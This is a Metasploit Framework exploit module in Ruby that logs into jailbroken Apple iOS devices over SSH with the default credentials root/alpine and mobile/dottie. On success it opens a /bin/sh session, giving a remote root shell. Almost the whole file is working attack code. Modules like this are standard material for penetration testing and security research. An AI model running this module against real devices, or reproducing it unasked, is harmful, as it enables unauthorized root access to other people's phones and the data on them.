Apple iOS Default SSH Password Vulnerability

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Auxiliary::CommandShell

def initialize(info={})
super(update_info(info,
'Name'           => "Apple iOS Default SSH Password Vulnerability",
'Description'    => %q{
This module exploits the default credentials of Apple iOS when it
has been jailbroken and the passwords for the 'root' and 'mobile'
users have not been changed.
},
'License'        => MSF_LICENSE,
'Author'         =>
[
'hdm'
],
'References'     =>
[

],
'DefaultOptions'  =>
{
'ExitFunction' => "none"
},
'Payload'        =>
{
'Compat' => {
'PayloadType'    => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform'       => 'unix',
'Arch'           => ARCH_CMD,
'Targets'        =>
[
['Apple iOS', { 'accounts' => [ [ 'root', 'alpine' ], [ 'mobile', 'dottie' ]] } ],
],
'Privileged'     => true,
'DefaultTarget'  => 0))

register_options(
[
Opt::RHOST(),
Opt::RPORT(22)
], self.class
)

register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end


def rhost
datastore['RHOST']
end


def rport
datastore['RPORT']
end


def do_login(user, pass)
opts = {
:auth_methods => ['password', 'keyboard-interactive'],
:msframework  => framework,
:msfmodule    => self,
:port         => rport,
:disable_agent => true,
:config => false,
:password => pass,
:record_auth_info => true,
:proxies => datastore['Proxies']
}

opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, user, opts)
end
rescue Rex::ConnectionError, Rex::AddressInUse
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end

if ssh
conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
ssh = nil
return conn
end

return nil
end


def exploit
self.target['accounts'].each do |info|
user,pass = info
print_status("#{rhost}:#{rport} - Attempt to login as '#{user}' with password '#{pass}'")
conn = do_login(user, pass)
if conn
print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
handler(conn.lsock)
break
end
end
end
end

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